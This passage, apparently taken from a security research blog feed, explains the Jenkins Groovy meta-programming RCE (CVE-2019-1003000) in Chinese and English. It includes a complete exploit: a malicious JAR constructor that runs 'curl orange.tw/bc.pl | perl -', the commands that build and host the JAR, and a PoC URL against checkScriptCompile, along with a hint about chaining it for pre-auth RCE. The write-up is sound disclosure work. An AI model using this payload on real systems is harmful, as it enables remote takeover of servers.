class="n">e</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>javac Orange.java <span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> META-INF/services/ <span class="nv">$ </span><span class="nb">echo </span>Orange <span class="o">&gt;</span> META-INF/services/org.codehaus.groovy.plugins.Runners <span class="nv">$ </span>find <span class="nb">.</span> ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners <span class="nv">$ </span>jar cvf poc-1.jar tw/ <span class="nv">$ </span><span class="nb">cp </span>poc-1.jar ~/www/tw/orange/poc/1/ <span class="nv">$ </span>curl <span class="nt">-I</span> http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ... </code></pre></div></div> <p>PoC:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; </code></pre></div></div> <p>影片:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/abuH-j-6-s0" frameborder="0"> </iframe></div></center> <p><br /></p> <h2 id="後記">後記</h2> <hr /> <p>到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(<a href="https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin">Script Security Plugin</a>),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!</p> <p>由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 <code class="language-plaintext highlighter-rouge">doCheckScriptCompile(...)</code> 與 <code class="language-plaintext highlighter-rouge">toJson(...)</code> 兩個進入點外,在漏洞被修復後,<a href="https://twitter.com/0ang3el">Mikhail Egorov</a> 也很快的找到了另外一個<a href="https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292">進入點</a>去觸發這個漏洞!</p> <p>除此之外,這個漏洞更可以與我前一篇 <a href="https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">Hacking Jenkins Part 1</a> 所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!</p> <p>感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!</p> https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/ https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE Tue, 19 Feb 2019 00:00:00 +0800 Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN) <p><a href="/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE-en/">English Version</a> <a href="/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/">中文版本</a></p> <p>Hello everyone!</p> <p>This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!</p> <ul> <li><a href="https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">Hacking Jenkins Part 1 - Play with Dynamic Routing </a></li> </ul> <p>As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the <a href="http://jenkins.local/script">Script Console</a>)! Although we could bypass the first ACL, we still can’t do much things :(</p> <p>After Jenkins released the <a href="https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595">Security Advisory</a> and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)</p> <p><br /></p> <h2 id="vulnerability-analysis">Vulnerability Analysis</h2> <hr /> <p>First, we start from the Jenkins Pipeline to explain <a href="https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266">CVE-2019-1003000</a>! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)</p> <p>In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!</p> <p>As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="no">JSON</span> <span class="nf">doCheckScriptCompile</span><span class="o">(</span><span class="nd">@QueryParameter</span> <span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="nc">CpsGroovyShell</span> <span class="n">trusted</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CpsGroovyShellFactory</span><span class="o">(</span><span class="kc">null</span><span class="o">).</span><span class="na">forTrusted</span><span class="o">().</span><span class="na">build</span><span class="o">();</span> <span class="k">new</span> <span class="nf">CpsGroovyShellFactory</span><span class="o">(</span><span class="kc">null</span><span class="o">).</span><span class="na">withParent</span><span class="o">(</span><span class="n">trusted</span><span class="o">).</span><span class="na">build</span><span class="o">().</span><span class="na">getClassLoader</span><span class="o">().</span><span class="na">parseClass</span><span class="o">(</span><span class="n">value</span><span class="o">);</span> <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">CompilationFailedException</span> <span class="n">x</span><span class="o">)</span> <span class="o">{</span> <span class="k">return</span> <span class="nc">JSONArray</span><span class="o">.</span><span class="na">fromObject</span><span class="o">(</span><span class="nc">CpsFlowDefinitionValidator</span><span class="o">.</span><span class="na">toCheckStatus</span><span class="o">(</span><span class="n">x</span><span class="o">).</span><span class="na">toArray</span><span class="o">());</span> <span class="o">}</span> <span class="k">return</span> <span class="nc">CpsFlowDefinitionValidator</span><span class="o">.</span><span class="na">CheckStatus</span><span class="o">.</span><span class="na">SUCCESS</span><span class="o">.</span><span class="na">asJSON</span><span class="o">();</span> <span class="c1">// Approval requirements are managed by regular stapler form validation (via doCheckScript)</span> <span class="o">}</span> </code></pre></div></div> <p>Here Jenkins validates the Pipeline with the method <a href="http://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyClassLoader.html#parseClass-java.lang.String-">GroovyClassLoader.parseClass(…)</a>! It should be noted that this is just an AST parsing. Without running <code class="language-plaintext highlighter-rouge">execute()</code> method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' print java.lang.Runtime.getRuntime().exec("id") '''</span><span class="o">);</span> </code></pre></div></div> <p>From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any <code class="language-plaintext highlighter-rouge">execute()</code> method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!</p> <p><br /></p> <h2 id="what-is-meta-programming">What is Meta-Programming</h2> <hr /> <p>Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!</p> <p>If it is still hard to understand, you can just regard <code class="language-plaintext highlighter-rouge">eval(...)</code> as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:</p> <ul> <li>C Macro</li> <li>C++ Template</li> <li>Java Annotation</li> <li>Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)</li> <li>DSL(Domain Specific Languages, such as <a href="http://sinatrarb.com/">Sinatra</a> and <a href="https://gradle.org/">Gradle</a>)</li> </ul> <p>When we are talking about Meta-Programming, we classify it into <strong>(1)compile-time</strong> and <strong>(2)run-time Meta-Programming</strong> according to the scope. Today, we focus on the compile-time Meta-Programming!</p> <p><em>P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! <a href="https://en.wikipedia.org/wiki/Metaprogramming">Wiki</a>, <a href="https://stackoverflow.com/questions/2565572/metaprogramming-self-explanatory-code-tutorials-articles-books/2566561#2566561">Ref1</a>, <a href="http://cs.lmu.edu/~ray/notes/metaprogramming/">Ref2</a></em> <em>P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me &lt;(_ _)&gt;</em></p> <p><br /></p> <h2 id="how-to-exploit">How to Exploit?</h2> <hr /> <p>From the previous section we know Jenkins validates Pipeline by <a href="http://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyClassLoader.html#parseClass-java.lang.String-">parseClass(…)</a> and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?</p> <p>There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e </span><span class="n">__int128</span> <span class="n">x</span><span class="p">[]</span><span class="o">=</span><span class="p">{</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">};</span> </code></pre></div></div> <p>or the compiler resource bomb(make a 16GB ELF by just 18 bytes):</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">main</span><span class="p">[</span><span class="o">-</span><span class="mi">1u</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">1</span><span class="p">};</span> </code></pre></div></div> <p>or calculating the Fibonacci number by compiler</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span><span class="o">&lt;</span><span class="kt">int</span> <span class="n">n</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="o">&gt;::</span><span class="n">value</span> <span class="o">+</span> <span class="n">fib</span><span class="o">&lt;</span><span class="n">n</span><span class="o">-</span><span class="mi">2</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="p">};</span> <span class="k">template</span><span class="o">&lt;</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span><span class="o">&lt;</span><span class="mi">0</span><span class="o">&gt;</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">};</span> <span class="k">template</span><span class="o">&lt;</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span><span class="o">&lt;</span><span class="mi">1</span><span class="o">&gt;</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">};</span> <span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">10</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 55</span> <span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">20</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 6765</span> <span class="kt">int</span> <span class="n">c</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">40</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 102334155</span> <span class="p">}</span> </code></pre></div></div> <p>From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>g++ template.cpp <span class="nt">-o</span> template <span class="nv">$ </span>objdump <span class="nt">-M</span> intel <span class="nt">-d</span> template ... 00000000000005fa &lt;main&gt;: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR <span class="o">[</span>rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR <span class="o">[</span>rbp-0x8],0x1a6d 60c: c7 45 <span class="nb">fc </span>cb 7e 19 06 mov DWORD PTR <span class="o">[</span>rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 0f 1f 44 00 00 nop WORD PTR <span class="o">[</span>rax+rax<span class="k">*</span>1+0x0] ... </code></pre></div></div> <p>For more examples, you can refer to the article <a href="https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb">Build a Compiler Bomb</a> on StackOverflow!</p> <p><br /></p> <h3 id="first-attempt">First Attempt</h3> <hr /> <p>Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official <a href="http://groovy-lang.org/metaprogramming.html">Meta-Programming manual</a> to find some exploitation ways. In the section 2.1.9, we found the <code class="language-plaintext highlighter-rouge">@groovy.transform.ASTTest</code> annotation. Here is its description:</p> <blockquote> <p><code class="language-plaintext highlighter-rouge">@ASTTest</code> is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and <strong>perform assertions on the AST</strong> rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. <code class="language-plaintext highlighter-rouge">@ASTTest</code> can be placed on any annotable node and requires two parameters:</p> </blockquote> <p>What! <strong>perform assertions on the AST</strong>? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''</span><span class="o">);</span> </code></pre></div></div> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls </span>poc.groovy <span class="nv">$ </span>groovy poc.groovy <span class="nv">$ </span><span class="nb">ls </span>poc.groovy pwned </code></pre></div></div> <p>Cool, it works! However, while reproducing this on the remote Jenkins, it shows:</p> <blockquote> <p>unable to resolve class org.jenkinsci.plugins.workflow.libs.Library</p> </blockquote> <p><img src="/assets/img/blog/20190219/1.png" alt="" /></p> <p>What the hell!!! What’s wrong with that?</p> <p>With a little bit digging, we found the root cause. This is caused by the <a href="https://wiki.jenkins.io/display/JENKINS/Pipeline+Shared+Groovy+Libraries+Plugin">Pipeline Shared Groovy Libraries Plugin</a>! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error <code class="language-plaintext highlighter-rouge">unsable to resolve class</code> occurs!</p> <p>How to fix this problem? It’s simple! Just go to <a href="http://jenkins.local/pluginManager/">Jenkins Plugin Manager</a> and remove the <a href="https://wiki.jenkins.io/display/JENKINS/Pipeline+Shared+Groovy+Libraries+Plugin">Pipeline Shared Groovy Libraries Plugin</a>! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!</p> <p><br /></p> <h3 id="second-attempt">Second Attempt</h3> <hr /> <p>We continued reading the <a href="http://groovy-lang.org/metaprogramming.html">Groovy Meta-Programming manual</a> and found another interesting annotation - <code class="language-plaintext highlighter-rouge">@Grab</code>. There is no detailed information about <code class="language-plaintext highlighter-rouge">@Grab</code> on the manual. However, we found another article - <a href="http://docs.groovy-lang.org/latest/html/documentation/grape.html">Dependency management with Grape</a> on search engine!</p> <p>Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Grab</span><span class="o">(</span><span class="n">group</span><span class="o">=</span><span class="s1">'org.springframework'</span><span class="o">,</span> <span class="n">module</span><span class="o">=</span><span class="s1">'spring-orm'</span><span class="o">,</span> <span class="n">version</span><span class="o">=</span><span class="s1">'3.2.5.RELEASE'</span><span class="o">)</span> <span class="kn">import</span> <span class="nn">org.springframework.jdbc.core.JdbcTemplate</span> </code></pre></div></div> <p>By using <code class="language-plaintext highlighter-rouge">@Grab</code> annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the <a href="https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc">PoC</a> proveded by <a href="https://github.com/adamyordan">@adamyordan</a> to execute arbitrary commands!</p> <p>However, without a valid credential and <code class="language-plaintext highlighter-rouge">execute()</code> method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about <code class="language-plaintext highlighter-rouge">@Grab</code>, we found another interesting annotation - <code class="language-plaintext highlighter-rouge">@GrabResolver</code>:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@GrabResolver</span><span class="o">(</span><span class="n">name</span><span class="o">=</span><span class="s1">'restlet'</span><span class="o">,</span> <span class="n">root</span><span class="o">=</span><span class="s1">'http://maven.restlet.org/'</span><span class="o">)</span> <span class="nd">@Grab</span><span class="o">(</span><span class="n">group</span><span class="o">=</span><span class="s1">'org.restlet'</span><span class="o">,</span> <span class="n">module</span><span class="o">=</span><span class="s1">'org.restlet'</span><span class="o">,</span> <span class="n">version</span><span class="o">=</span><span class="s1">'1.1.6'</span><span class="o">)</span> <span class="kn">import</span> <span class="nn">org.restlet</span> </code></pre></div></div> <p>If you are smart enough, you would like to change the <code class="language-plaintext highlighter-rouge">root</code> parameter to a malicious website! Let’s try this in local environment:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet '''</span><span class="o">)</span> </code></pre></div></div> <pre><code class="language-log">11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0" </code></pre> <p>Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?</p> <p><br /></p> <h2 id="the-way-to-code-execution">The Way to Code Execution</h2> <hr /> <p>In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?</p> <p>By diving into <a href="https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/Grape.java">Grape implementation on Groovy</a>, we realized the library fetching is done by the class <a href="https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy">groovy.grape.GrapeIvy</a>! We started to find is there any way we can leverage, and we noticed an interesting method <a href="https://github.com/groovy/groovy-core/blob/GROOVY_2_4_3/src/main/groovy/grape/GrapeIvy.groovy#L312">processOtherServices(…)</a>!</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">processOtherServices</span><span class="o">(</span><span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">,</span> <span class="n">File</span> <span class="n">f</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">ZipFile</span> <span class="n">zf</span> <span class="o">=</span> <span class="k">new</span> <span class="n">ZipFile</span><span class="o">(</span><span class="n">f</span><span class="o">)</span> <span class="n">ZipEntry</span> <span class="n">serializedCategoryMethods</span> <span class="o">=</span> <span class="n">zf</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="s2">"META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods"</span><span class="o">)</span> <span class="k">if</span> <span class="o">(</span><span class="n">serializedCategoryMethods</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">processSerializedCategoryMethods</span><span class="o">(</span><span class="n">zf</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(</span><span class="n">serializedCategoryMethods</span><span class="o">))</span> <span class="o">}</span> <span class="n">ZipEntry</span> <span class="n">pluginRunners</span> <span class="o">=</span> <span class="n">zf</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="s2">"META-INF/services/org.codehaus.groovy.plugins.Runners"</span><span class="o">)</span> <span class="k">if</span> <span class="o">(</span><span class="n">pluginRunners</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">processRunners</span><span class="o">(</span><span class="n">zf</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(</span><span class="n">pluginRunners</span><span class="o">),</span> <span class="n">f</span><span class="o">.</span><span class="na">getName</span><span class="o">(),</span> <span class="n">loader</span><span class="o">)</span> <span class="o">}</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">ZipException</span> <span class="n">ignore</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// ignore files we can't process, e.g. non-jar/zip artifacts</span> <span class="c1">// TODO log a warning</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <p>JAR file is just a subset of ZIP format. In the <a href="https://github.com/groovy/groovy-core/blob/GROOVY_2_4_3/src/main/groovy/grape/GrapeIvy.groovy#L312">processOtherServices(…)</a>, Grape registers servies if there are some specified entry points. Among them, the <code class="language-plaintext highlighter-rouge">Runner</code> interests me. By looking into the implementation of <a href="https://github.com/groovy/groovy-core/blob/GROOVY_2_4_3/src/main/groovy/grape/GrapeIvy.groovy#L335">processRunners(…)</a>, we found this:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">processRunners</span><span class="o">(</span><span class="n">InputStream</span> <span class="n">is</span><span class="o">,</span> <span class="n">String</span> <span class="n">name</span><span class="o">,</span> <span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">)</span> <span class="o">{</span> <span class="n">is</span><span class="o">.</span><span class="na">text</span><span class="o">.</span><span class="na">readLines</span><span class="o">().</span><span class="na">each</span> <span class="o">{</span> <span class="n">GroovySystem</span><span class="o">.</span><span class="na">RUNNER_REGISTRY</span><span class="o">[</span><span class="n">name</span><span class="o">]</span> <span class="o">=</span> <span class="n">loader</span><span class="o">.</span><span class="na">loadClass</span><span class="o">(</span><span class="n">it</span><span class="o">.</span><span class="na">trim</span><span class="o">()).</span><span class="na">newInstance</span><span class="o">()</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <p>Here we see the <code class="language-plaintext highlighter-rouge">newInstance()</code>. Does it mean that we can call <code class="language-plaintext highlighter-rouge">Constructor</code> on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file <code class="language-plaintext highlighter-rouge">META-INF/services/org.codehaus.groovy.plugins.Runners</code> and we can invoke the <code class="language-plaintext highlighter-rouge">Constructor</code> and execute arbitrary code!</p> <p>Here is the full exploit:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Orange</span> <span class="o">{</span> <span class="kd">public</span> <span class="nf">Orange</span><span class="o">(){</span> <span class="k">try</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">"curl orange.tw/bc.pl | perl -"</span><span class="o">;</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">cmds</span> <span class="o">=</span> <span class="o">{</span><span class="s">"/bin/bash"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="n">payload</span><span class="o">};</span> <span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">cmds</span><span class="o">);</span> <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>javac Orange.java <span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> META-INF/services/ <span class="nv">$ </span><span class="nb">echo </span>Orange <span class="o">&gt;</span> META-INF/services/org.codehaus.groovy.plugins.Runners <span class="nv">$ </span>find <span class="nb">.</span> ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners <span class="nv">$ </span>jar cvf poc-1.jar tw/ <span class="nv">$ </span><span class="nb">cp </span>poc-1.jar ~/www/tw/orange/poc/1/ <span class="nv">$ </span>curl <span class="nt">-I</span> http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ... </code></pre></div></div> <p>PoC:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; </code></pre></div></div> <p>Video:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/abuH-j-6-s0" frameborder="0"> </iframe></div></center> <p><br /></p> <h2 id="epilogue">Epilogue</h2> <hr /> <p>With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(<a href="https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin">Script Security Plugin</a>) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!</p> <p>Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points <code class="language-plaintext highlighter-rouge">doCheckScriptCompile(...)</code> and <code class="language-plaintext highlighter-rouge">toJson(...)</code> I reported, after the vulnerability has been fixed, <a href="https://twitter.com/0ang3el">Mikhail Egorov</a> also found another <a href="https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292">entry point</a> quickly to trigger this vulnerability!</p> <p>Apart from that, this vulnerability can also be chained with my previous exploit on <a href="https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">Hacking Jenkins Part 1</a> to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P</p> <p>Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)</p> 